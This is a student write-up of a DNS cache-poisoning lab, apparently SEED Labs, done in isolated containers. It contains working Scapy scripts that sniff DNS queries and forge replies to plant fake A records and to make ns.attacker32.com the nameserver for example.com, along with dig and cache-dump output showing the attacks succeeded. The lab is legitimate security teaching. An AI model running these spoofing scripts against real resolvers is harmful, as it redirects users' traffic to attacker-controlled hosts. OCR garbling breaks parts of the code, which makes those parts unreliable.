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# **Testing DNS setup**

Get the IP address of ns.attacker32.com:

We use the command dig to get the IP address for ns.attacker32.com as follows:

```
root@120fadb37906:/# dig ns.attacker32.com
```

```
; <<>> DiG 9.16.1-Ubuntu <<>> ns.attacker32.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 52608
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 3f028bb2fc1b9f070100000064317cf44931b7e36c6a768b (good)
;; QUESTION SECTION:
;ns.attacker32.com.
                               ΙN
                                       Α
;; ANSWER SECTION:
                                       Α
ns.attacker32.com.
                       259200 IN
                                               10.9.0.153
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```

## For <u>www.example.com</u>:

```
root@120fadb37906:/# dig example.com
; <<>> DiG 9.16.1-Ubuntu <<>> example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 13347
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 9a1f724a2434be0a0100000064317d20f6da6aa2448333f6 (good)
;; QUESTION SECTION:
;example.com.
                                ΙN
;; ANSWER SECTION:
                               IN A
example.com.
                       86400
                                               93.184.216.34
;; Query time: 859 msec
```

Query directly to ns.attacker32.com:

```
root@120fadb37906:/# dig @ns.attacker32.com www.example.com
; <<>> DiG 9.16.1-Ubuntu <<>> @ns.attacker32.com www.example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29793
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; C00KIE: 957ebf874cdaa8ba0100000064317d3c446740232dc19a5d (good)
;; QUESTION SECTION:
;www.example.com.
                                IN
;; ANSWER SECTION:
www.example.com.
                        259200 IN
                                        Α
                                                1.2.3.5
```

### **TASK 1:**

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from scapy.all import *
def spoof dns(pkt):
  if (DNS in pkt and 'www.example.net' in pkt[DNS].qd.qname.decode('utf-8')):
    pkt.show()
    # Swap the source and destination IP address
    IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
    # Swap the source and destination port number
    UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
    # The Answer Section
    Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
                 ttl=259200, rdata='1.1.1.1')
    # Construct the DNS packet
    DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
                 qdcount=1, ancount=1, nscount=2, arcount=2,
                 an=Anssec)
    # Construct the entire IP packet and send it out
    spoofpkt = IPpkt/UDPpkt/DNSpkt
    send(spoofpkt)
# Sniff UDP query packets and invoke spoof dns().
f = 'udp and src host 10.9.0.5 and dst port 53'
pkt = sniff(iface='br-615646252f8c', filter=f, prn=spoof dns)
```

Before running the program we flush the cache for all tasks

```
root@120fadb37906:/# dig www.example.net
;; Warning: Message parser reports malformed message packet.
; <<>> DiG 9.16.1-Ubuntu <<>> www.example.net
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 25176
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2
;; QUESTION SECTION:
;www.example.net.
                                IN
                                        Δ
;; ANSWER SECTION:
www.example.net.
                        259200
                               ΙN
                                        Α
                                                 1.1.1.1
;; Query time: 23 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat Apr 08 14:27:02 UTC 2023
;; MSG SIZE rcvd: 64
```

We can see that our attack is successful and the IP address has been changed to 1.1.1.1 in the reply.

#### TASK2:

For this task we add a delay to the network traffic using the commands given to us

```
seed@VM: ~/.../volumes
              seed@VM: ~... ×
#!/usr/bin/env python3
from scapy.all import *
def spoof_dns(pkt):
 if (DNS in pkt and 'www.example.net' in pkt[DNS].qd.qname.decode('utf-8')):
   pkt.show()
    # Swap the source and destination IP address
   IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
    # Swap the source and destination port number
   UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
    # The Answer Section
   Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
                 ttl=259200, rdata='1.1.1.1')
    # Construct the DNS packet
   DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
                 qdcount=1, ancount=1, nscount=2, arcount=2,
                 an=Anssec)
    # Construct the entire IP packet and send it out
   spoofpkt = IPpkt/UDPpkt/DNSpkt
   send(spoofpkt)
# Sniff UDP query packets and invoke spoof dns().
f = 'udp and src host 10.9.0.53 and dst port 53'
pkt = sniff(iface='br-615646252f8c', filter=f, prn=spoof_dns)
```

```
root@120fadb37906:/# dig www.example.net
; <<>> DiG 9.16.1-Ubuntu <<>> www.example.net
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 2789
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: bc860ed91fd914030100000064318ab4dc3a36160e9c5e74 (good)
;; QUESTION SECTION:
                                IN
;www.example.net.
                                        Α
;; ANSWER SECTION:
www.example.net.
                        259200 IN
                                        Α
                                                1.1.1.1
;; Query time: 23 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat Apr 08 15:39:32 UTC 2023
;; MSG SIZE rcvd: 88
```

It can be seen that the attack is successful as we can see out spoofed packet in reply. It can be seen through the cache dump as follows:

```
root@3cb2e0c20952:/# cat /var/cache/bind/dump.db | grep example example.net. 774360 NS a.iana-servers.net. www.example.net. 861503 A 1.1.1.1
```

It shows that our cache has successfully been poisoned.

#### TASK3:

This task deals with an attack that can affect the entire example.com domain, for this requirement we use the authority section as seen in the code:

```
task3.py
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#!/usr/bin/env python3
from scapy.all import *
def spoof_dns(pkt):
  if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):
    pkt.show()
    # Swap the source and destination IP address
    IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
    # Swap the source and destination port number
    UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
    # The Answer Section
    Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
                 ttl=259200, rdata='1.1.1.1')
    # AUTHORITY SECTION
    NSsec1 = DNSRR(rrname='example.com', type='NS',
                   ttl=259200, rdata='ns.attacker32.com')
    # Construct the DNS packet
    DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
                 qdcount=1, ancount=1, nscount=1, arcount=0,
                            nc-MCcoc1
                 on-Anccoc
root@120fadb37906:/# dig www.example.com
; <>> DiG 9.16.1-Ubuntu <>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 27715
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; C00KIE: 1eecef6edc6715050100000064319d9d27ed37fcae23ccc5 (good)
;; QUESTION SECTION:
;www.example.com.
                                ΤN
                                        Α
;; ANSWER SECTION:
www.example.com.
                        259200 IN
                                        Α
                                                1.1.1.1
;; Query time: 27 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat Apr 08 17:00:13 UTC 2023
;; MSG SIZE rcvd: 88
root@3cb2e0c20952:/# rndc dumpdb -cache
root@3cb2e0c20952:/# cat /var/cache/bind/dump.db | grep example
example.com.
                          777455 NS
                                           ns.attacker32.com.
                          863924 A
www.example.com.
                                            1.1.1.1
```

It can be seen that we have spoofed the entire example.com domain. It is proved using the following examples:

```
root@120fadb37906:/# dig mail.example.com
; <>>> DiG 9.16.1-Ubuntu <>>> mail.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 37430
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: f3c0367d6b782eed0100000064319ebd8312c83c4ebaf31c (good)
;; QUESTION SECTION:
;mail.example.com.
                             IN
;; ANSWER SECTION:
mail.example.com.
                     259200 IN
                                           1.2.3.6
;; Query time: 27 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat Apr 08 17:05:01 UTC 2023
;; MSG SIZE rcvd: 89
root@d3b0d1dda001:/etc/bind# cat zone example.com
$TTL 3D
          ΙN
                            ns.example.com. admin.example.com. (
g
                     S0A
                     2008111001
                     8H
                     2H
                     4W
                     1D)
g
          ΙN
                    NS
                            ns.attacker32.com.
                            1.2.3.4
g
          ΙN
                    Α
          ΙN
                             1.2.3.5
                    Α
w/w/w
          ΙN
                     Α
                             10.9.0.153
าร
          ΙN
                    Α
                             1.2.3.6
root@3cb2e0c20952:/# rndc dumpdb -cache
root@3cb2e0c20952:/# cat /var/cache/bind/dump.db | grep example
                          776951
                                            ns.attacker32.com.
example.com.
                                  NS
                                            1.2.3.6
mail.example.com.
                          863708
                                  Α
www.example.com.
                          863420 A
                                            1.1.1.1
```

#### **TASK 4:**

Prior to this we poisoned the cache of the local DNS server so that ns.attacker32.com becomes the nameserver for example.com. Now to expand its impact to another domain:

```
seed@VM: ~/.../volumes
             seed@VM: ~/.../Labsetup
                                                      seed@VM: ~/.../volumes
#!/usr/bin/env python3
from scapy.all import *
def spoof dns(pkt):
 if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('
   pkt.show()
    # Swap the source and destination IP address
    IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
    # Swap the source and destination port number
   UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
    # The Answer Section
    Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
                 ttl=259200, rdata='1.1.1.1')
    # AUTHORITY SECTION
   NSsec1 = DNSRR(rrname='example.com', type='NS',
                    ttl=259200, rdata='ns.attacker32.com')
    NSsec2 = DNSRR(rrname='google.com', type='NS',
                   ttl=259200, rdata='ns2.example.net')
```

```
seed@VM: ~/... ×
                                                      seed@VM: ~/...
[04/09/23]seed@VM:~/.../volumes$ docksh 120
root@120fadb37906:/# dig www.example.com
; <>>> DiG 9.16.1-Ubuntu <>>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6170
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 3623e0140e18d18101000000643312094d2a3d0a22a8ba77 (good)
;; QUESTION SECTION:
;www.example.com.
                                 IN
;; ANSWER SECTION:
www.example.com.
                        259200 IN
                                         Α
                                                 1.1.1.1
;; Query time: 3664 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sun Apr 09 19:29:13 UTC 2023
;; MSG SIZE rcvd: 88
```

```
root@3cb2e...
                                                        seed@VM: ~/...
                                                                     root@d3b0d...
[04/09/23]seed@VM:~/.../volumes$ docksh 3c
root@3cb2e0c20952:/# rndc flush
root@3cb2e0c20952:/# rndc dumpdb -cache
root@3cb2e0c20952:/# cat /var/cache/bind/dump.db | grep example
example.com.
                         777481 NS
                                          ns.attacker32.com.
www.example.com.
                         863884 A
                                          1.1.1.1
root@3cb2e0c20952:/# cat /var/cache/bind/dump.db | grep attacker
                         777481 NS
                                          ns.attacker32.com.
example.com.
root@3cb2e0c20952:/# rndc flush
```

It can be seen that the attack is successful as we can see the spoofed information in our reply. However we could only see example.com's entry cached into the server and no entry for google.com. as we have the zone for example.com on our attacker's nameserver only and not for google.

#### **TASK 5:**

It can be seen that additional section data is not cached into the server but the authority section data has been cached.

```
seed@VM: ~/...
              seed@VM: ~/...
                           seed@VM: ~/...
                                                       seed@VM: ~/...
                                                                    root@d
!!/usr/bin/env python3
rom scapy.all import *
lef spoof dns(pkt):
 if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf
   pkt.show()
   # Swap the source and destination IP address
   IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
   # Swap the source and destination port number
   UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
   # The Answer Section
   Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
                 ttl=259200, rdata='1.1.1.1')
   # AUTHORITY SECTION
   NSsec1 = DNSRR(rrname='example.com', type='NS',
                   ttl=259200, rdata='ns.attacker32.com')
   NSsec2 = DNSRR(rrname='example.com', type='NS',
                   ttl=259200, rdata='ns.example.com')
   # The Additional Section
   Addsec1 = DNSRR(rrname='ns.attacker32.com', type='A',
                    ttl=259200, rdata='1.2.3.4')
   Addsec2 = DNSRR(rrname='ns.example.net', type='A',
                    ttl=259200, rdata='5.6.7.8')
   Addsec3 = DNSRR(rrname='www.facebook.com', type='A',
                    ttl=259200, rdata='3.4.5.6')
```

```
root@120fadb37906:/# dig www.example.com
; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 16682
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; C00KIE: e45c6887cdd53a2a01000000643319df2b3ee5005ca45aa3 (good)
;; QUESTION SECTION:
                              IN
;www.example.com.
                                     Α
;; ANSWER SECTION:
www.example.com.
                      259200 IN
                                     Α
                                             1.1.1.1
;; Query time: 939 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sun Apr 09 20:02:39 UTC 2023
;; MSG SIZE rcvd: 88
root@3cb2e0c20952:/#
root@3cb2e0c20952:/# rndc dumpdb -cache
root@3cb2e0c20952:/# cat /var/cache/bind/dump.db | grep example
example.com.
                          777365 NS
                                            ns.example.com.
                          863765 A
www.example.com.
                                            1.1.1.1
root@3cb2e0c20952:/# cat /var/cache/bind/dump.db | grep attacker
                          777365 NS
                                            ns.attacker32.com.
root@3cb2e0c20952:/# cat /var/cache/bind/dump.db | grep facebook
root@3cb2e0c20952:/#
```